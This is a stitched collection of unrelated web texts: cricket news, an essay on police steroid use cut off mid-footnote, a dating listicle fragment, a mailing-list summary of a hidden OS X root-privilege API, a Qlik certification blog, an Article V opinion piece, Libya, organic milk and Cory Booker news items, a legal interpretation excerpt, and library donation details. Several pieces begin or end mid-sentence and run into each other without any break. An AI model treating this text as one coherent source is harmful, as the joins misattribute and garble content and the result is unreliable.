"Making the decision to step down wasn't easy but it's something I've been thinking about since the Test series against India ended," Watson said. "I think it's the right time for a change for both the team and me. I'll be honest and admit I wrestled with the decision for some time, however once I made up my mind, I informed Cricket Australia so the selectors could consider their options for the Ashes given the squads will be announced soon.
"I want to be the best Test player I can be for Australia and think I can do that by stepping down from the vice-captaincy to focus my attention on scoring runs, taking wickets and doing whatever is necessary to help the team achieve success. I won't be the vice-captain in title but I think I can still be a leader and strong contributor around the group.
"Yesterday I rang John Inverarity, Mickey Arthur and Michael Clarke to advise them of my decision and they respect that decision and agree with me that this is the best outcome for me and the team. I thank Cricket Australia for the leadership opportunity over the past two years and I'm really looking forward to this next phase. In my conversations with Mickey and Michael I reaffirmed my commitment to the team and support for them as we fight to win back the Ashes and get back to being ranked number one in the world."
John Inverarity, the national selector, said: "Shane Watson should be commended for making the tough call to step down from the vice-captaincy to focus on playing. Regardless, he will still be an important senior leader within the team. The national selection panel will now consider and then put a vice-captaincy recommendation to the Cricket Australia Board for its approval."
Watson was named vice-captain to Clarke in March 2011 after Ricky Ponting stood down as the team's leader. He filled in as Australia's captain in nine one-day internationals for five victories as well as leading in the Delhi Test.
Brydon Coverdale is an assistant editor at ESPNcricinfo. He tweets here
© ESPN Sports Media Ltd.As the U.S. Congress prepares to renew its assault on anabolic steroid use among professional athletes at a hearing scheduled for May 18, longtime observers of doping control initiatives will recognize the selective indignation that continues to sensationalize the use of these drugs by athletes. The fact that certain groups of steroid consumers have been spared the special opprobrium reserved for sports heroes who fail to serve as proper “role models” for youth demonstrates once again how arbitrary and politically motivated the formulation and enforcement of drug laws can be.
One of the remarkable anomalies of the anti-steroid campaign of the past two decades is that it has virtually ignored the many reports of steroid use by police officers in the United States and in other countries. Unknown but clearly significant numbers of policemen have imported, smuggled, sold, and used anabolic steroids over this time period. According to an article that appeared in the FBI Law Enforcement Bulletin in 1991: “Anabolic steroid abuse by police officers is a serious problem that merits greater awareness by departments across the country.” (1) In 2003 another expert offered a similar assessment. Little research has been done on the use of steroids by police, said Larry Gaines, former executive director of the Kentucky Chiefs of Police Association. “But I think it’s a larger problem than people think.”.(2)
A segment of the CBS-TV program “60 Minutes” had already made that point on November 5, 1989. “Beefing Up the Force” presented interviews with three officers whose use of steroids had apparently caused the hyper-aggressiveness that had gotten them into serious trouble. The worst case involved what one psychiatrist called “a real Jekyll and Hyde change” in the personality of a prison security guard in Oregon who had kidnapped and shot a woman who made a casual remark he didn’t like. He got 20 years in prison, and she was paralyzed for life. The personality he presented during his prison interview made it seem utterly improbable that he would have been capable of such an act. But his testosterone level when he committed the crime was 50 times the normal level. This broadcast conveyed the message that steroid problems were lurking in many police departments across the country, and that police officials were turning a blind eye to a significant threat to public safety.
It was no accident that the “60 Minutes” segment paid special attention to a “hard core group” of steroid users on the Miami police force. Two years earlier the Miami Herald had run a long article on steroid-using police officers. The seven notorious Miami “River Cops”, who in 1987 were on trial for alleged crimes including cocaine trafficking and conspiracy to commit murder, included Armando “Scarface” Garcia, a weightlifter who had publicly admitted to taking steroids. “There’s a great potential for an officer abusing steroids to physically mistreat people,” said the police chief of nearby Hollywood, Florida, who had told his investigators to be on the lookout for officers who looked like “small mountains.” (3) The Miami Herald article may have been the first of the tiny number of analytical treatments of this subject that have appeared in American newspapers since the 1980s.
It is not surprising that police officials spent the 1980s more or less oblivious to the steroid issue. The notoriety and eventual demonizing of the anabolic steroid followed the Ben Johnson Olympic scandal of September 1988, which initiated the transformation of the social (and then the legal) status of these drugs. The Anabolic Steroids Control Act of 1990 made unauthorized possession of steroids a criminal offense, and from that point on the anti-steroid crusade was gradually annexed by the larger War on Drugs that Richard Nixon had launched in 1969. The BALCO “designer steroid” indictments announced by the Department of Justice in February 2004 gave the federal takeover of the anti-steroid campaign an official status it had never had before.
Prohibiting police officers from using anabolic steroids would appear to be self-evident given what is known about how these drugs can produce hyper-aggressive behavior. But understanding the use of these drugs by police officers and other men whose professional roles involve physical strength and assertiveness requires us to examine the two opposing arguments that have been advanced to favor or oppose the use of steroids by law enforcement personnel. The functional argument holds that the physical and psychological effects of steroids promote the safety of the officer and, therefore, public safety, as well. The deviance argument holds that, on the contrary, both the physical and emotional effects of the drugs endanger the public and expose drug-taking officers to serious legal risks resulting from their dangerous drug-induced behaviors.
The idea that steroids might actually play a functional (and therefore legitimate) role in preparing police officers to do their jobs was not beyond the pale in 1987. For example, the Miami Herald exposé prompted a former Miami police chief, Ken Harms, to make the following comment: “It’s probably time that the department makes a conscious decision about whether it’s acceptable for officers to take steroids.” (4) The sheer political incorrectness of this statement, when judged by today’s standards, speaks volumes about how the social status of these drugs has changed in the interim. Although Chief Harms did not go on to parse the pros and cons of steroid-taking by police officers, it is not difficult to imagine what he might have said.
Large numbers of men around the world consume steroids because their professions or criminal activities require physical self-assertion and self-confidence. A 1996 report from Scotland, for example, identifies policemen, firefighters, military personnel, and private security guards as steroid consumers. (5) In Australia the list includes prison guards and the elite troops who in 1998 were discovered to be “using steroids to bulk up, boost stamina and self-esteem and to recover more quickly from injuries they have sustained.” (6) In Britain, Australia and some European countries, nightclub bouncers use the drugs to produce the “frilled neck lizard response” that intimidates unruly customers. (7)
“The thinking is that big is better than small, tough is better than weak,” says Gene Sanders, a former police officer and a longtime police psychologist in California. “There is sort of an underground, unspoken tradition among several departments that I’ve worked with that if you really want to bulk up, this is the best way to do it.” (8) A website maintained by the Drug Enforcement Administration (DEA) reports the same attitude toward functional steroid use by police officers: “Law enforcement personnel have used steroids for both physical and psychological reasons. The idea of enhanced physical strength and endurance provides one with ‘the invincible mentality’ when performing law enforcement duties.” (9)
Steroids are also used by criminals as aggression-enhancing drugs. In Oslo, Norway, enforcers known as “torpedoes” take combinations of steroids and amphetamines to produce the psychopathic state that enables them to kill and maim their victims. (10) Danish motorcycle hoodlums put methyl testosterone capsules under their tongues before gang fights to work themselves into a rage. (11) Such vignettes from the steroid underground suggest how little we know about the overall social effects of the black market that serves an international market of action-oriented males that includes a growing number of recreational athletes of all ages.
The functional argument thus proposes that steroid use is an essentially rational and practical strategy to deal with the special challenges and hazards of certain kinds of physically demanding work. From this perspective, these action-oriented professionals — “[o]ccupational users such as doormen [bouncers], police and prison warders … have a definite objective; often feeling threatened by aspects of their work they believe they must increase their size and aggression both to threaten and protect others.” (12)
Russell Dobash, a professor at Manchester University, has also pointed to the practical attitude of some steroid users: “Bodybuilding is most often the entrée to taking steroids, but people who take the drugs often do it because they see their body as important to their job. Some people have the stereotypical image of a bodybuilder as unemployed. But in a sample of steroid-users that we looked at, there were a range of occupations, particularly among professions where your body can be instrumental to your job.” (13)
The conflict between the functional and the deviance models of steroid use can be seen in “the stereotypical image of [the] bodybuilder” as a socially dysfunctional (unemployed) type whose deviance lies in the social disorientation that has left him with no economic role in society. His functional (and socially useful) counterpart is someone who puts drugs to “instrumental” use. We have already seen that the use of steroids by police officers has been regarded as instrumental pharmacology of this kind by at least a segment of the profession. However, given the long tradition of prohibitionist thinking about “drugs” in modern societies, it is hardly surprising that condemnation based on the deviance model of police steroid use has been more influential than the functionalist rationale for steroid-boosted law enforcement.
The deviance model assumes that steroid use already indicates a character defect in the drug-taker. This viewpoint was applied to military doping in December 2004 when the executive director of the Australian Defence Association criticized the functionalist view of doping soldiers. “The Australian people spend a lot on defence,” he said, “and they want value for their money, and they want a defence force that is physically fit and mentally capable. If you’re using perception-altering substances or steroids you’re hardly likely to be physically or mentally fit.” (14) When Copenhagen’s Police Station No. 1 was hit by a steroid scandal in 2000-2001, the city’s chief of police stated: “Combining strength training with the use of doping drugs is so sick that it simply doesn’t belong on a police force. It is sad that young, well-built people feel too frail and weak to serve on the force, so they fill themselves with that kind of poison and bulk up to the point where they are revolting to look at.” (15)
The deviance argument has also appeared in American commentaries on steroid-using policemen. In 1987, for example, Dr. Philip Greenberg, the psychiatrist for the Miami Beach Police Department, put it as follows: “Any policeman taking something … to build up muscle tissue would have to be a very confused specimen to begin with.” (16) When the police chief of Boca Raton, Florida, was asked in 2003 what could cause an officer to use steroids, he replied: “Stupidity and self-absorption and an egocentric mentality.” (17)
Stupidity, self-absorption and an egocentric mentality are certainly compatible with the racism that a few steroid-using policemen have demonstrated, and not only in the United States. The Danish cops who were indicted for steroid possession in 2000 were also found to be in possession of written materials that included a plan to castrate accused Muslim rapists. (18)
Postulating a correlation between steroid use and racist eccentricity goes straight to the heart of our society’s unresolved conflict over the meaning of androgenic drug use. Does the choice to augment oneself with this illegal drug signal a broader propensity to embrace unwholesome beliefs or engage in antisocial behaviors? The current anti-steroid sentiment being promoted by politicians and many others with media access assumes this is the case. It is, therefore, striking that when the serial killings of black men by a white, steroid-using police officer made headlines in 1989, the authorities who might have done so made no effort to connect these deadly events with the drugs that may well have played a role in provoking them.
This case of allegedly steroid-fueled police violence comes from Texas. Over a period of seven years during the 1980s, a Houston police officer named Scott Tschirhart shot to death three black men in circumstances that led to protests and a grand jury investigation. Cleared by the grand jury, Tschirhart was eventually fired by Houston’s black police chief shortly after the third killing in 1989. (19)
It was well known to his fellow officers that Tschirhart was a user of anabolic steroids, and they had watched the drugs transform him as a bodybuilder and as a policeman. “The bigger he got … the worse he got about strutting around and bragging,” a veteran officer recalled. “You could really see him changing.” (20) But the Houston Police Department had no policy against steroid use, so no one intervened until the third fatal shooting provoked the department to investigate this officer’s unusually violent career.
Even the appearance of sequential racial killings by a known steroid user and reputed bigot did not put the issue of cops and steroids on the national agenda. Nor did the “60 Minutes” segment broadcast shortly after Tschirhart’s firing ignite any further interest in the major media that might have put this issue on the national agenda. In 1985 Dr. Robert Kerr, a notorious provider of steroids to thousands of elite athletes and other customers, had testified in the Superior Court of California in Los Angeles that he had written steroid prescriptions for 500 law enforcement personnel in the Los Angeles area. And nothing happened. (21)
A realistic approach to the use of steroids by police officers must also be prepared to depart from the deviance model for the purpose of recognizing those cases where it becomes difficult or impossible to distinguish between therapy and enhancement. For example, a policeman’s use of steroids can have a medical rationale. A model Ohio county deputy and Gulf War Marine Corps veteran convicted of steroid possession in 2003 said he had imported the drugs from Yugoslavia as an effective therapy for his chronic fatigue syndrome. “I never wanted to look like Arnold,” he said. “I was tired of being tired. I wanted to feel better.” (22)
How can we explain our society’s current steroid policy, which treats the drug use of a baseball player as more reprehensible than that of a police officer?
First, there is the importance of image. Athletes who double as entertainers do not benefit from the halo effect that wraps public safety personnel in a presumption of innocence, regardless of whether this aura is firmly rooted in reality. We are accustomed to the idea of the police confiscating steroids, not injecting or ingesting them.
Second, there is the matter of logistics. Subjecting America’s half million police officers to systematic steroid screening would impose huge additional costs on city governments that already face chronic deficits. Similar budgetary considerations have drastically limited the drug testing of the nation’s school children, despite the court decisions that have legalized such procedures. Forcing a miniscule number of elite athletes to serve as our society’s pharmacological virgins is a far more practical way to pledge allegiance to the illusion of a “drug-free” society.
Finally, there is our society’s profoundly ambivalent attitude toward male hormone drugs that produce tangible benefits. The new social acceptability of bodybuilding, embracing its worship of muscularity and its unabashed ethos of self-improvement, represents an unmistakable, if camouflaged, acceptance of synthetic testosterone drugs and their desired effects, ranging from sculptured torsos to sexual self-confidence. In a similar vein, significant numbers of sports fans already accept athletic doping drugs as acceptable enhancements that make possible the performances they want to see. Finally, popular hormone-based “anti-aging” therapies employ the same drugs that could put a steroid-using policeman in prison.
The problem for those monitoring police forces for steroid abuse is that some steroid users will not display obviously disordered behaviors. In the absence of systematic drug testing, the most promising policy would be to investigate every case of hyper-aggressive behavior by police officers and employ targeted drug testing in such cases. Above all, officials must keep an eagle eye on those members of the force who find special fulfillment in competitive bodybuilding, including those bodybuilding competitions that are sponsored by police departments. (23) As police authorities in Berlin found out in 2002, it is likely that a disproportionate number of these people should not be entrusted with power and a gun. (24)
Footnotes
(1) Charles Swanson and Larry Gaines, “Abuse of Anabolic Steroids,” FBI Law Enforcement Bulletin (August 1991): 19.
(2) Stephen Hudak, “Steroids: a threat to police officers,” Cleveland Plain Dealer (July 25, 2003).
(3) Angie Cannon, “Steroid-Using Police Causing Brutality Fears,” Miami Herald (May 18, 1987).
(4 |
This is a perfectly natural response, but don’t be fooled into mistaking it for real love. Once the emotion wears off, you’ll be left feeling like a right lemon.
When you’ve been together longer than a week
To the 3% of you who dropped the L bomb within seven days… it will never last.
MORE: 35% of us in relationships are still regularly using dating apps
MORE: Please pipe down about age gap relationships being doomed to fail
MORE: Twitter users are ending relationships in just 5 words and they’re hilariousFull Disclosure mailing list archives
By Date By Thread Hidden backdoor API to root privileges in Apple OS X From: Jeffrey Walton <noloader () gmail com>
Date: Fri, 10 Apr 2015 12:58:39 -0400
https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/ The Admin framework in Apple OS X contains a hidden backdoor API to root privileges. It’s been there for several years (at least since 2011), I found it in October 2014 and it can be exploited to escalate privileges to root from any user account in the system. The intention was probably to serve the “System Preferences” app and systemsetup (command-line tool), but any user process can use the same functionality. Apple has now released OS X 10.10.3 where the issue is resolved. OS X 10.9.x and older remain vulnerable, since Apple decided not to patch these versions. We recommend that all users upgrade to 10.10.3.... _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: Hidden backdoor API to root privileges in Apple OS X Jeffrey Walton (Apr 10)How to get all certifications for Qlik? (Qlikview, Qlik Sense)
Neo Lee Blocked Unblock Follow Following Oct 9, 2016
From time to time, I questioned myself, does certification really important in my career with Qlik? My answer is yes. It is pretty much the most straight forward answer to confirmed how much you know about Qlik product at certain technical level of expertise. However, certification does not replace years of experience and both compliment each other just well.
Just recently, I got awarded a special achievement award from Qlik for being one of the 4th fully certified in the United Kingdom.
Fully certified in Qlik Products — One of the 4th in the UK
Special Achievement Award from Qlik
Always remember, if you only do these certifications because you need to do it, you will fail!
And one of the truth value of having these certifications is to allow company to stay as elite partner.
For consultants or developers that looking to start their data adventure with Qlik, this is the drills.. So let’s dive into the Qlik exam!
NDA was signed during each of these exams, I can give only tips and hints but not exact Q&A
There are total of six exam available for Qlik products at the moment. Three for Qlikview and three for Qlik Sense and they are pretty much identical to each other in term of the objectives for the exam.
Qlikview
Designer
Developer
System Administrator
Firstly is the Qlikview Designer and Developer. The typical one and also owned by most of the Qlikview consultants. Taking developer exam will grant you designer too. So it is reasonable basically for everyone to take developer instead of designer only.
How to pass Qlikview Developer exam?
You might think i’m bollocks for saying this, but in order to pass the developer exam, the only way is to memorised a lot of things you probably will never use in real Qlikview deployment. I took the exam after using Qlikview for about 3 months and never have had any experience in developing business intelligence applications before. Do a lot of hands-on and get to know Qlikview development in general inside out.
How to pass Qlikview System Administrator exam?
This exam does required intensive daily usage of the qlikview management console and few years of windows administrator experience. When you planned to do this exam, make sure you understand the QMC inside out, this ranges from applying licence, setting up dmz, data refresh, differences between publisher and non publisher, and lastly how to architect a high availability and resilient Qlikview environment.
Qlik Sense
Business Analyst
Data Architect
System Administrator
Ah… Qlik Sense. Basically the vision for Qlik. A lot of consultants that came from Qlikview background ought to think Qlik Sense is a crap product. To be honest, I understand perfectly from their standpoint. It is not a middle-ware that can do everything, but a self-service product that allow people to do analysis themselves.
Additionally, I think, pretty much 90% of the Qlik Sense users doesn’t know about Qlik Sense’s API, the back bone that allows developers to do embedded analytics on websites. For some reason, it might mean nothing at all, but for people who can envision-ed utilising QS engine on a SAAS product. It’s a no brainer, and probably will become the best saas analytic product in the world.
To those who interested to do multi tenant saas product using QAP, contact me for more information. neo.lee@rambunct.com
How to pass Qlik Sense Business Analyst Exam?
Among all other exam by Qlik, I believe this exam is a waste of time. Not that it is really simple, but the choices with choosing which visualisations to use are really vary to different entities. While this exam focusing on mostly about the best practices of using different charts and graphs, it encouraged a lot of memorising….
Qlik blog is the only resources I used to study for this exam. Please read intensively for other part of the blog by Patrick Lunbald.
How to pass Qlik Sense Data Architect Exam?
I went without preparing anything related to Qlik Sense at all. This is solely based on my 2 year experience of using Qlikview. In fact, it was easier. The exam is now focused solely on data model, and the rest of the questions are more likely about the latest new features in Qlik Sense.
For newbie developer who is stressed by employer to get certified, do not afraid or fuss about the certifications because experience matter! Please build lots of QS applications and ship them with Qlik cloud which is free. One of the best example is to help your colleague or other departments to do advance analytics.
How to pass Qlik Sense System Administrator Exam?
It was actually much easier than Qlikview sysadmin too. The questions is now more focused inside out of Qlik management console. There are not much objectives to be memorised but hands on experience is really important. For example things like token counting, apps auditing, sync rules, and lastly user directories are really popular within the exam.
Some cmd commands are also helpful, such as netstat, nslookup etc.
Lastly
For those who looking to take Qlik Sense V2 exam, I recommend to wait for another 2 to 3 months as V3 beta exam has just released.
I hope these blog answered some of your questions about Qlik certifications exam… if you have further queries, feel free to drop me a quick email in neo.lee@rambunct.com, OR for people who read my blog for the first time, You can reach me via neo.lee@differentia.co as I work for
Differentia Consulting
A Qlik elite solution provider in the United Kingdom and we been named for Qlik EMEA Solution Provider of the Year 2015!On Monday night AM 560 The Answer host Joe Walsh took a call from a man in the Chicagoland area who used his air time to tell people not to go down the Article V path to amend the Constitution in order to address such issues as a balanced budget and congressional term limits.
This caller said that those who are leading this effort are false and phony conservatives and that if 2/3 of the states did hold a convention of the states then the entire Constitution would be opened up and presumably further eroded or weakened by liberals.
Our caller also wanted people to be wary of the members of the state legislature, particularly in Indiana, who are backing the Article V process.
All of this is absolutely folly on the part of this caller.
We should not fear using the Constitution in order to save our nation for many of the problems we are facing.
Article V of the Constitution lays out two methods for amending the Constitution. One is for a super-majority of both chambers of Congress to propose an amendment and then send it to the states for ratification(3/4). The other is for 2/3 of the state legislatures to call for a convention to propose amendments to the states, again requiring 3/4 of which to ratify.
It is that second process for amending the Constitution that this caller was referring to.
There is no possible way under that process for the entire Constitution to be “opened up”, the Constitution itself forbids such an action. Furthermore if liberals or others should somehow manage to get a dangerous or destructive amendment out of the convention 3/4 of the states would still have to ratify such an amendment and do you really think the state legislatures in say Texas, Florida, Alabama, South Carolina, Louisiana, and other solid states would allow such a thing to happen.
And our caller should play a little bit closer attention to Indiana because the state legislature there has passed to statutes governing any possible delegates to any convention of the states including how the state legislature could remove a delegate if they got out of line.
In early December some 100 state lawmakers from around 30 states gathered at Mt. Vernon in Virginia to layout the ground work for a convention and to plan to meet this summer in Indianapolis to agree upon rules for a convention.
I of course would be remiss if I didn’t mention that this whole discussion about the Article V process was started earlier this year by best selling author and nationally syndicated talk show host Mark Levin with the release of his new book The Liberty Amendments.
In the book Mark lays out his reasoning, which are similar for everyone involved in wanting to see the Article V process proceed, for why we have to by-pass Congress and got to our state legislatures to enact amendments to the Constitution to rectify many of our nations ills.
In The Liberty Amendments, Mark calls for such things as term limits on members of Congress and the Supreme Court, granting override authority to the states on Supreme Court decisions and certain regulations, an amendment capping federal taxes and capping federal spending, moving tax day to the day before elections, making Senators once again selected by state legislatures and more.
With this nation facing $17 trillion in debt, $100 trillion in unfunded liabilities, a Congress that only gets together to increase the size and scope of the government, an imperial President(Obama) acting like a Dictator blatantly ignoring the Constitution, and a court system that rewrites the Constitution, we really don’t have any other recourse that to use Article V in order to save us.
Just trying to win the Senate and the Presidency isn’t enough.
Continuing with the status quo given the situation we are in is the equivalent of banging ones head up against a brick wall.
Our nation is in serious peril and we cannot fear using the Constitution, Article V, to try and save us.As world leaders condemn violence against protesters, what is at stake for Western nations with close ties to Gaddafi?
Why did the UK government on Monday cancel eight arms export licences for Libya?
This comes after a warning from a legal adviser to the UN Commission on Human Rights who suggested that Britain may be found guilty of "complicity" for the killings of protesters by Muammar Gaddafi's regime.
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In the third quarter of 2010 alone, according to the Campaign Against Arms trade, the UK licensed over $6mn worth of ammunition to Libya, including sniper rifles and crowd control ammunition, which is suspected to have been used by the regime to suppress demonstrators.
Although the UK has condemned the violent attacks on Libya's protesters, in the past it has turned a blind eye to the country's dubious human rights record for fear of risking lucrative oil, trade and arms deals.
On Tuesday we examine the relationship between the two countries with Sir Richard Dalton, the former British ambassador to Libya; Dr. Mohamed al-Magariaf, the co-founder of the National Front for the Salvation of Libya; and Hafed al-Ghwell, a Libyan-American analyst.
This episode of Riz Khan aired from Tuesday, February 22, 2011.
Source: Al JazeeraLook at the dairy case and you’ll see many different milk choices — organic milk, reduced fat, lowfat or skim milk. But what makes milk organic? There’s a lot behind the label. Strict farming practices defined by the United States Department of Agriculture (USDA) set the organic standards for organic dairy farms to produce organic cow’s milk. From what cows eat to how farmers care for their cows governs organic milk production.
Get the facts to better understand what makes milk organic.
What Is Organic Milk?
Organic milk comes from organic dairy farms that follow strict standards set by the USDA. Organic dairy farmers can only use organic specific approved practices to care for their crops and cows. Organic standards ensure farmers do not use synthetic fertilizers. They also may not use growth hormones or antibiotics, and they are not allowed to use genetically modified (GMO) crops or feed for their cows.
What Are Organic Milk Standards?
The USDA certified agents inspect organic milk farms yearly to ensure these farmers follow established organic farming practices — that’s what makes milk organic. When you drink organic dairy milk, you can be sure farmers don’t use GMOs or fertilize their crops using synthetic fertilizers. It also means organic cows only eat organic feed. USDA organic milk standards include how cows are cared for — farmers do not use growth hormones or antibiotics.
How Is Organic Milk Produced?
USDA organic guidelines stipulate that farmers only can use organic-approved substances to care for their crops and livestock. That means no synthetic fertilizers and avoiding most synthetic pesticides. They also can not use growth hormones or antibiotics, and they never use genetically modified (GMO) crops or feed for their cows. Read more about the National Organic Program.
How Can You Tell If Milk Is Organic?
Organic milk displays will state “certified-organic” on the label and may also display the USDA organic seal on the packaging. This indicates that a farm is inspected to ensure farmers adhere the USDA organic standards.
Where Can I Buy Organic Milk?
Look for organic milk in the dairy case at your local grocery store.
Is the Expiration Date the Same As Milk That Is Not Organic?
Organic milk uses the same traditional pasteurization methods (or simple heat treatment) as traditional milk to ensure your milk’s safety and wholesomeness. Some organic milk, like some traditional milk, has a longer shelf life. This simply means the milk has been pasteurized at a higher temperature (called Ultra High Temperature, or UHT) which allows the milk to stay fresh longer (a practice commonly used for milk in Europe). Be sure to check your individual milk brand for your milk’s expiration date.
What Is The Difference Between Organic Milk Vs. Alternative Milks?
Not all organic beverages with the name “milk” are the same. Like traditional milk, organic cow’s milk offers a powerhouse of naturally occurring nutrients, including protein, calcium and potassium. Compare that to other plant-based milks, like almond milk, which provides no nutrients naturally.
For example, an 8-ounce glass of organic cow’s milk has 8 times more protein than a glass of almond milk. Make sure you check the label when selecting your milk in the organic dairy case.
What Are the Benefits of Organic Milk?
Organic milk is produced following strict organic standards with methods that integrate farming practices to foster cycling of resources, promote ecological balance and conserve biodiversity. Milk – whether conventional or traditional – provides nine essential nutrients, including high quality protein along with calcium, potassium and vitamin D — three nutrients of concern as outlined by the Dietary Guidelines Advisory Committee report. Keep reading facts about milk.The Newark mayor -- backed by Matt Damon, Ben Affleck and other Hollywood heavyweights in his Senate campaign -- was outed by 26-year-old Lynsie Lee, who posted her flirtatious correspondence with him online.
Is Newark Mayor Cory Booker taking a page out of Anthony Weiner's playbook?
Private messages the New Jersey Senate candidate -- and Hollywood's political darling -- exchanged with a 26-year-old stripper from Oregon have been unearthed, after the woman shared them publicly on Twitter.
The politician's messages with Lynsie Lee -- who reportedly works at Portland, Ore.-based Casa Diablo, which touts itself as the world's first vegan strip club -- were first spotted by Buzzfeed. They came to light after Booker publicly answered a follower's question about his possible presidential ambitions, to which he responded he would someday be president of the New Jersey Star Trek Club. This led Lee and another woman -- 24-year-old Calla Bonanno of Ohio -- to engage in some Twitter banter about who would get to serve as his first lady.
PHOTOS: Actors Who've Played Politicians
Wrote Lee: "if you're POTUS I call dibs on First Lady."
Bonanno said she and Booker exchange direct messages regularly, and Lee responded by posting a screenshot of a direct message between her and Booker.
The other woman, Bonanno, told The New York Times her only private message with Booker came after she complimented him on a television appearance.
Meanwhile, in a Twitter direct message to Lee, Booker wrote, "The East Coast loves you, and by the East Coast, I mean me.” Lee responded: “Well, now I’m blushing :)"
Lee told BuzzFeed that she had originally written to Booker that the West Coast loved him, which prompted his reply.
"He was just flattering me," she said. "It began with me sending an actual tweet saying that the West Coast loved him, especially me. So he replied with that just to flatter me."
They also had a public Twitter conversation about whether he was going to be at the premiere of Follow Friday: The Film, a movie they appeared in together about social media. They apparently became familiar with each other through their inclusion in the movie.
Booker campaign spokesperson Kevin Griffis told BuzzFeed that the texts were meaningless.
"I think it's pretty well known that the mayor talks with people from all walks of life on Twitter," he said. "There have been a couple of stories about that over the years. Really, the most shocking part of this story was learning there is a vegan strip club in Portland."
Booker is active on Twitter, where he has more than 1.4 million followers. After Buzzfeed posted the texts and tweets, he tweeted: "All right @BuzzFeedBen last time I ever appear in a film with you! Sorry @erinscafe (big smile)."
He later retweeted a post from a follower referencing the controversy: "Thanks 4 the clarification (lol) MT @DaveTKoenig: Just to end speculation right now, Cory & I follow each other, and it's purely platonic."
Meanwhile, Lee has sent out a flurry of tweets, including: "imagine the headlines if I were a prostitute 'Booker Hooker' hahahaha" and "all of this just makes me wanna cuddle @CoryBooker..."
She also wrote: "Although, if all of this prevents me from being Cory's First Lady when he's POTUS I will seek revenge ;)"
Lee also implied that the controversy was much ado about nothing: "I love the instant notoriety but really a single man flirting with a beautiful woman isn't much news. We both have legal jobs."
Yet she also noted that she's "famous" now and wondered whether she will be invited to appear on Piers Morgan's CNN show as a result.
PHOTOS: The Top Celebrity Political Twitter Commentators
Lee has 9,200 followers on Twitter, where her profile page features a topless photo of herself lying on a couch. She also has tweeted topless and NSFW photos of herself.
One Hollywood supporter told The Hollywood Reporter that the controversy will blow over.
"This story will pass quickly," the supporter said. "He is single and he did not do anything inappropriate."
Speculation about Booker's sexuality recently took center stage in his Senate campaign. While he has referred to former girlfriends and women in interviews, he generally doesn't answer questions about his sexuality, and many have speculated he is gay but keeping that a secret.
The mayor was just in Los Angeles on Monday for a series of meetings and a large fundraiser for his Senate race hosted by Matt Damon and Ron Burkle.
He has become a Hollywood favorite this season, with many of the A-listers lining up to back his senate campaign. At Monday's event, held at Burkle's Green Acres estate, tickets ranged from $1,000 to $10,000, according to an invite obtained by THR. As previously reported, other co-hosts for the fundraiser included Ben Affleck, Jennifer Garner, Jerry Weintraub, J.J. Abrams and wife, Katie McGrath, Troy Carter, WME co-CEO Patrick Whitesell, talent agency head Bob Gersh, Disney exec Sean Bailey, Netflix's Ted Sarandos and former U.S. Ambassador Nicole Avant.
In April, Weintraub hosted a similar fundraiser for Booker at his Beverly Hills manse. The list of co-hosts for the gathering took up much of that invite. They included Bob Iger, Jeffrey Katzenberg and wife Marilyn, Sony CEO Michael Lynton and wife Jamie, Barry Meyer, Kevin Tsujihara, Bruce Rosenblum, Michael Lombardo and partner Sony Ward, Steven Spielberg and wife Kate Capshaw; Rob Reiner and wife Michelle, Troy Garity, Bruce Willis, Terry Semel, Kevin Huvane, Bryan Lourd, James Lassiter and wife Mai, Steve Bing and Chris Albrecht.An interesting and influential passage, most recently quoted by Judge Posner in United States v. Phillips (7th Cir. Sept. 4, 2013), but long discussed in the legal interpretation literature (some paragraph breaks added):
Let us take an instance of the simplest kind, to show in what degree we are continually obliged to resort to interpretation. By and by we shall find that the same rules which common sense teaches everyone to use, in order to understand his neighbor in the most trivial intercourse, are necessary likewise, although not sufficient, for the interpretation of documents or texts of the highest importance, constitutions as well as treaties between the greatest nations.
Suppose a housekeeper says to a domestic: “fetch some soupmeat,” accompanying the act with giving some money to the latter; he will be unable to execute the order without interpretation, however easy and, consequently, rapid the performance of the process may be. Common sense and good faith tell the domestic, that the housekeeper’s meaning was this: 1. He should go immediately, or as soon as his other occupations are finished; or, if he be directed to do so in the evening, that he should go the next day at the usual hour; 2. that the money handed him by the housekeeper is intended to pay for the meat thus ordered, and not as a present to him; 3. that he should buy such meat and of such parts of the animal, as, to his knowledge, has commonly been used in the house he stays at, for making soups; 4. that he buy the best meat he can obtain, for a fair price; 5. that he go to that butcher who usually provides the family, with whom the domestic resides, with meat, or to some convenient stall, and not to any unnecessarily distant place; 6. that he return the rest of the money; 7. that he bring home the meat in good faith, neither adding anything disagreeable nor injurious; 8. that he fetch the meat for the use of the family and not for himself.
Suppose, on the other hand, the housekeeper, afraid of being misunderstood, had mentioned these eight specifications, she would not have obtained her object, if it were to exclude all possibility of misunderstanding. For, the various specifications would have required new ones. Where would be the end? We are constrained then, always, to leave a considerable part of our meaning to be found out by interpretation, which, in many cases must necessarily cause greater or less obscurity with regard to the exact meaning which our words were intended to convey….
The British spirit of civil liberty induced the English judges to adhere strictly to the law, to its exact expressions. This again induces the lawmakers to be, in their phraseology, as explicit and minute as possible, which causes such a tautology and endless repetition in the statutes of that country that even so eminent a statesman as Sir Robert Peel declared, in Parliament, that he “contemplates no task with so much distaste as the reading through an ordinary act of parliament.”
Men have at length found out that little or nothing is gained by attempting to speak with absolute clearness and endless specifications, but that human speech is the clearer, the less we endeavor to supply by words and specifications that interpretation which common sense must give to human words. However minutely we may define, somewhere we needs must trust at last to common sense and good faith…. The more we strive in a document to go beyond plain clearness and perspicuity, the more we do increase, in fact, the chances of sinister interpretation.Proceeds from the sale of your donated books help create opportunities and access for thousands of Torontonians.
Thank you for your interest in donating books to support Toronto Public Library (TPL). More than $2 million has been raised through the sale of used books to support TPL!
Your book donations are greatly appreciated. You can help support the Library even more by making a cash donation. Donations are essential and help fund the many vital programs, services and spaces at the Library. DONATE NOW.
BOOKEnds store donations can be dropped off at Toronto Reference Library in the Drop Box located at front of the book store during branch hours:
Material should be in good condition; age of donated material is not a factor
Books, CDs, LPs, DVDs, magazines,computer books,textbooks and encyclopaedias in all languages will be accepted.
Donations can be dropped off at the Shipping and Receiving Department:
Toronto Reference Library – 789 Yonge Street, Toronto
Monday to Friday, 9 am – 3 pm
Saturday, please call 416-397-5948 to make arrangements
Please note: The BookEnds store that was situated at North York Central Library will be closed until further notice.
Drop off books at your neighbourhood branch
